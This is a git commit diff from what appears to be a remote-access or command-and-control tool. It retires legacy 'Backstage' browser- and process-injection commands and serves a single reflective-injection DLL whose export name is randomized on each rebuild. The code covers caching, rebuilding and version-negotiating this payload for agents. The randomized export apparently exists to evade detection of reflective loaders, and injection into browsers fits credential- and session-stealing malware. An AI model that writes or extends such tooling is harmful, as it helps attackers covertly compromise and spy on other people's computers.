remove old backstage injection and remove all legacy code
This commit is contained in:
@@ -46,25 +46,34 @@ describe("command version negotiation", () => {
|
||||
});
|
||||
});
|
||||
|
||||
test("keeps legacy Backstage agents on v1 and negotiates v2 with new agents", () => {
|
||||
test("rejects legacy (v1-only) Backstage agents and negotiates v2/v3 with newer agents", () => {
|
||||
const command = "backstage_start_browser_injected" as const;
|
||||
const payload = { browser: "chrome", dll: new Uint8Array([1, 2, 3]) };
|
||||
|
||||
expect(versionCommandForClient({}, {
|
||||
type: "command",
|
||||
commandType: command,
|
||||
id: "legacy-backstage",
|
||||
payload,
|
||||
})).toMatchObject({ commandVersion: 1, payload });
|
||||
// Pre-3.0 agents assume v1, which the server no longer supports.
|
||||
expect(getCommandCompatibility({}, command)).toMatchObject({
|
||||
supported: false,
|
||||
reason: "no_common_version",
|
||||
});
|
||||
expect(() => requireCommandVersion({}, command)).toThrow("no shared version");
|
||||
|
||||
expect(versionCommandForClient({
|
||||
commandVersions: { [command]: { min: 1, max: 2 } },
|
||||
}, {
|
||||
type: "command",
|
||||
commandType: command,
|
||||
id: "current-backstage",
|
||||
id: "v2-backstage",
|
||||
payload,
|
||||
})).toMatchObject({ commandVersion: 2, payload });
|
||||
|
||||
expect(versionCommandForClient({
|
||||
commandVersions: { [command]: { min: 2, max: 3 } },
|
||||
}, {
|
||||
type: "command",
|
||||
commandType: command,
|
||||
id: "v3-backstage",
|
||||
payload,
|
||||
})).toMatchObject({ commandVersion: 3, payload });
|
||||
});
|
||||
|
||||
test("strictly reports missing commands and non-overlapping versions", () => {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Code generated by scripts/generate-wire-protocol.ts; DO NOT EDIT.
|
||||
|
||||
export const WIRE_SCHEMA_VERSION = 1 as const;
|
||||
export const WIRE_SCHEMA_VERSION = 2 as const;
|
||||
export const WIRE_PROTOCOL_VERSION = 1 as const;
|
||||
|
||||
export const WIRE_MESSAGE_TYPES = [
|
||||
@@ -376,20 +376,20 @@ export const COMMAND_VERSION_SUPPORT = {
|
||||
"max": 1
|
||||
},
|
||||
"backstage_start_browser_injected": {
|
||||
"min": 1,
|
||||
"max": 2
|
||||
"min": 2,
|
||||
"max": 3
|
||||
},
|
||||
"backstage_start_chrome_injected": {
|
||||
"min": 1,
|
||||
"max": 2
|
||||
"min": 2,
|
||||
"max": 3
|
||||
},
|
||||
"backstage_start_process": {
|
||||
"min": 1,
|
||||
"max": 1
|
||||
},
|
||||
"backstage_start_process_injected": {
|
||||
"min": 1,
|
||||
"max": 2
|
||||
"min": 2,
|
||||
"max": 3
|
||||
},
|
||||
"backstage_stop": {
|
||||
"min": 1,
|
||||
|
||||
@@ -34,9 +34,11 @@ describe("generated wire protocol contract", () => {
|
||||
expect(Object.keys(COMMAND_VERSION_SUPPORT).length).toBe(COMMAND_TYPES.length);
|
||||
for (const command of COMMAND_TYPES) {
|
||||
const isVersioned = versionedBackstageCommands.has(command);
|
||||
expect(COMMAND_VERSION_SUPPORT[command]).toEqual({ min: 1, max: isVersioned ? 2 : 1 });
|
||||
expect(isSupportedCommandVersion(command, 1)).toBe(true);
|
||||
expect(COMMAND_VERSION_SUPPORT[command].min).toBe(isVersioned ? 2 : 1);
|
||||
expect(COMMAND_VERSION_SUPPORT[command].max).toBe(isVersioned ? 3 : 1);
|
||||
expect(isSupportedCommandVersion(command, 1)).toBe(!isVersioned);
|
||||
expect(isSupportedCommandVersion(command, 2)).toBe(isVersioned);
|
||||
expect(isSupportedCommandVersion(command, 3)).toBe(isVersioned);
|
||||
if (isVersioned) {
|
||||
expect(() => getImplicitCommandVersion(command)).toThrow("explicit commandVersion");
|
||||
} else {
|
||||
|
||||
@@ -1,13 +1,12 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import {
|
||||
BACKSTAGE_DLL_NAME,
|
||||
BACKSTAGE_LEGACY_DLL_NAME,
|
||||
injectionDllCandidates,
|
||||
} from "./backstage-dll-cache";
|
||||
|
||||
describe("Backstage DLL command-version artifacts", () => {
|
||||
test("maps v1 to the fixed-export artifact and v2 to the randomized artifact", () => {
|
||||
expect(injectionDllCandidates(1).every((candidate) => candidate.endsWith(BACKSTAGE_LEGACY_DLL_NAME))).toBe(true);
|
||||
expect(injectionDllCandidates(2).every((candidate) => candidate.endsWith(BACKSTAGE_DLL_NAME))).toBe(true);
|
||||
describe("Backstage DLL artifacts", () => {
|
||||
test("serves a single randomized-export artifact", () => {
|
||||
expect(injectionDllCandidates().length).toBeGreaterThan(0);
|
||||
expect(injectionDllCandidates().every((candidate) => candidate.endsWith(BACKSTAGE_DLL_NAME))).toBe(true);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -5,71 +5,63 @@ import { logger } from "../logger";
|
||||
import { resolveRuntimeRoot } from "./runtime-paths";
|
||||
|
||||
export const BACKSTAGE_DLL_NAME = "BackstageInjection.x64.dll";
|
||||
export const BACKSTAGE_LEGACY_DLL_NAME = "BackstageInjection.legacy.x64.dll";
|
||||
|
||||
// Where a freshly rebuilt BackstageInjection DLL is placed. The data dir is
|
||||
// used so a re-randomized (rebuild) copy survives container restarts and is
|
||||
// preferred over the image-baked dist-clients copy. Overrideable for unusual
|
||||
// deployments.
|
||||
export function backstageDllOutputPath(commandVersion = 2): string {
|
||||
export function backstageDllOutputPath(): string {
|
||||
const explicit = process.env.OVERLORD_BACKSTAGE_DLL_PATH?.trim();
|
||||
if (explicit) {
|
||||
const resolved = path.resolve(explicit);
|
||||
return commandVersion === 1
|
||||
? path.join(path.dirname(resolved), BACKSTAGE_LEGACY_DLL_NAME)
|
||||
: resolved;
|
||||
return path.resolve(explicit);
|
||||
}
|
||||
const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME;
|
||||
return path.join(ensureDataDir(), "dist-clients", name);
|
||||
return path.join(ensureDataDir(), "dist-clients", BACKSTAGE_DLL_NAME);
|
||||
}
|
||||
|
||||
function builtinDllCandidates(commandVersion: number): string[] {
|
||||
function builtinDllCandidates(): string[] {
|
||||
const runtimeRoot = resolveRuntimeRoot();
|
||||
const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME;
|
||||
return [
|
||||
path.resolve(runtimeRoot, "dist-clients", name),
|
||||
path.resolve(process.cwd(), "dist-clients", name),
|
||||
path.resolve(import.meta.dir, "../../dist-clients", name),
|
||||
path.resolve(runtimeRoot, "dist-clients", BACKSTAGE_DLL_NAME),
|
||||
path.resolve(process.cwd(), "dist-clients", BACKSTAGE_DLL_NAME),
|
||||
path.resolve(import.meta.dir, "../../dist-clients", BACKSTAGE_DLL_NAME),
|
||||
];
|
||||
}
|
||||
|
||||
export function injectionDllCandidates(commandVersion = 2): string[] {
|
||||
export function injectionDllCandidates(): string[] {
|
||||
// Fresh builds land in the data dir first; image-baked dist-clients copies
|
||||
// are the offline fallback.
|
||||
return [backstageDllOutputPath(commandVersion), ...builtinDllCandidates(commandVersion)];
|
||||
return [backstageDllOutputPath(), ...builtinDllCandidates()];
|
||||
}
|
||||
|
||||
type DllCacheEntry = { bytes: Uint8Array; path: string; mtimeMs: number };
|
||||
const dllCache = new Map<number, DllCacheEntry>();
|
||||
let dllCache: DllCacheEntry | null = null;
|
||||
|
||||
export function invalidateBackstageDll(): void {
|
||||
dllCache.clear();
|
||||
dllCache = null;
|
||||
}
|
||||
|
||||
export function getInjectionDllBytes(commandVersion = 2): Uint8Array | null {
|
||||
const artifactVersion = commandVersion === 1 ? 1 : 2;
|
||||
const candidates = injectionDllCandidates(artifactVersion);
|
||||
const cached = dllCache.get(artifactVersion);
|
||||
export function getInjectionDllBytes(): Uint8Array | null {
|
||||
const candidates = injectionDllCandidates();
|
||||
|
||||
if (cached) {
|
||||
if (dllCache) {
|
||||
// If a freshly rebuilt DLL exists in the data dir but the cache points at
|
||||
// an older path, rescan instead of serving stale bytes.
|
||||
const freshOutput = backstageDllOutputPath(artifactVersion);
|
||||
if (path.resolve(cached.path) === path.resolve(freshOutput) || !existsSync(freshOutput)) {
|
||||
const freshOutput = backstageDllOutputPath();
|
||||
if (path.resolve(dllCache.path) === path.resolve(freshOutput) || !existsSync(freshOutput)) {
|
||||
try {
|
||||
const st = statSync(cached.path);
|
||||
if (st.mtimeMs === cached.mtimeMs) {
|
||||
return cached.bytes;
|
||||
const st = statSync(dllCache.path);
|
||||
if (st.mtimeMs === dllCache.mtimeMs) {
|
||||
return dllCache.bytes;
|
||||
}
|
||||
const bytes = new Uint8Array(readFileSync(cached.path));
|
||||
dllCache.set(artifactVersion, { bytes, path: cached.path, mtimeMs: st.mtimeMs });
|
||||
logger.info(`[backstage] reloaded v${artifactVersion} injection DLL from ${cached.path} (${bytes.length} bytes)`);
|
||||
const bytes = new Uint8Array(readFileSync(dllCache.path));
|
||||
dllCache = { bytes, path: dllCache.path, mtimeMs: st.mtimeMs };
|
||||
logger.info(`[backstage] reloaded injection DLL from ${dllCache.path} (${bytes.length} bytes)`);
|
||||
return bytes;
|
||||
} catch {
|
||||
dllCache.delete(artifactVersion);
|
||||
dllCache = null;
|
||||
}
|
||||
} else {
|
||||
dllCache.delete(artifactVersion);
|
||||
dllCache = null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -78,14 +70,14 @@ export function getInjectionDllBytes(commandVersion = 2): Uint8Array | null {
|
||||
try {
|
||||
const st = statSync(dllPath);
|
||||
const bytes = new Uint8Array(readFileSync(dllPath));
|
||||
dllCache.set(artifactVersion, { bytes, path: dllPath, mtimeMs: st.mtimeMs });
|
||||
logger.info(`[backstage] loaded v${artifactVersion} injection DLL from ${dllPath} (${bytes.length} bytes)`);
|
||||
dllCache = { bytes, path: dllPath, mtimeMs: st.mtimeMs };
|
||||
logger.info(`[backstage] loaded injection DLL from ${dllPath} (${bytes.length} bytes)`);
|
||||
return bytes;
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
logger.warn(`[backstage] v${artifactVersion} injection DLL not found. Checked: ${candidates.join(", ")}`);
|
||||
logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -6,7 +6,6 @@ import { ensureToolchain, getToolchainRoot } from "./toolchain-manager";
|
||||
import { resolveRuntimeRoot } from "./runtime-paths";
|
||||
import {
|
||||
BACKSTAGE_DLL_NAME,
|
||||
BACKSTAGE_LEGACY_DLL_NAME,
|
||||
backstageDllOutputPath,
|
||||
invalidateBackstageDll,
|
||||
} from "./backstage-dll-cache";
|
||||
@@ -170,8 +169,7 @@ export async function rebuildBackstageDll(
|
||||
_building = true;
|
||||
_lastBuild = { startedAt: Date.now(), finishedAt: null, ok: null, message: "Build started." };
|
||||
|
||||
const outPath = backstageDllOutputPath(2);
|
||||
const legacyOutPath = backstageDllOutputPath(1);
|
||||
const outPath = backstageDllOutputPath();
|
||||
const outDir = path.dirname(outPath);
|
||||
|
||||
try {
|
||||
@@ -207,7 +205,6 @@ export async function rebuildBackstageDll(
|
||||
fullEnv.PATH = [...binDirs, fullEnv.PATH || ""].filter(Boolean).join(path.delimiter);
|
||||
}
|
||||
Object.assign(fullEnv, env);
|
||||
delete fullEnv.BACKSTAGE_LOADER_EXPORT;
|
||||
delete fullEnv.BACKSTAGE_LOADER_SEED;
|
||||
|
||||
const streamLines = async (stream: ReadableStream<Uint8Array> | null) => {
|
||||
@@ -255,7 +252,6 @@ export async function rebuildBackstageDll(
|
||||
};
|
||||
|
||||
await buildArtifact({ BACKSTAGE_LOADER_SEED: String(Date.now()) }, outPath);
|
||||
await buildArtifact({ BACKSTAGE_LOADER_EXPORT: "ReflectiveLoader" }, legacyOutPath);
|
||||
|
||||
const exportName = readPeExportName(outPath);
|
||||
invalidateBackstageDll();
|
||||
@@ -264,7 +260,7 @@ export async function rebuildBackstageDll(
|
||||
startedAt: _lastBuild.startedAt,
|
||||
finishedAt: Date.now(),
|
||||
ok: true,
|
||||
message: `DLLs rebuilt: ${BACKSTAGE_DLL_NAME} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}) and ${BACKSTAGE_LEGACY_DLL_NAME} (${fs.statSync(legacyOutPath).size} bytes, export: ReflectiveLoader).`,
|
||||
message: `DLL rebuilt: ${BACKSTAGE_DLL_NAME} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}).`,
|
||||
};
|
||||
send({
|
||||
type: "output",
|
||||
|
||||
@@ -40,7 +40,10 @@ function getVersionedInjectionDll(
|
||||
): Uint8Array | null {
|
||||
if (!target) return null;
|
||||
try {
|
||||
return getInjectionDllBytes(requireCommandVersion(target, commandType));
|
||||
// Gate on command negotiation so clients that cannot run the command are
|
||||
// rejected, then serve the single randomized-export injection DLL.
|
||||
requireCommandVersion(target, commandType);
|
||||
return getInjectionDllBytes();
|
||||
} catch (error) {
|
||||
logger.warn(`[backstage] cannot negotiate ${commandType}: ${error instanceof Error ? error.message : String(error)}`);
|
||||
return null;
|
||||
|
||||
Reference in New Issue
Block a user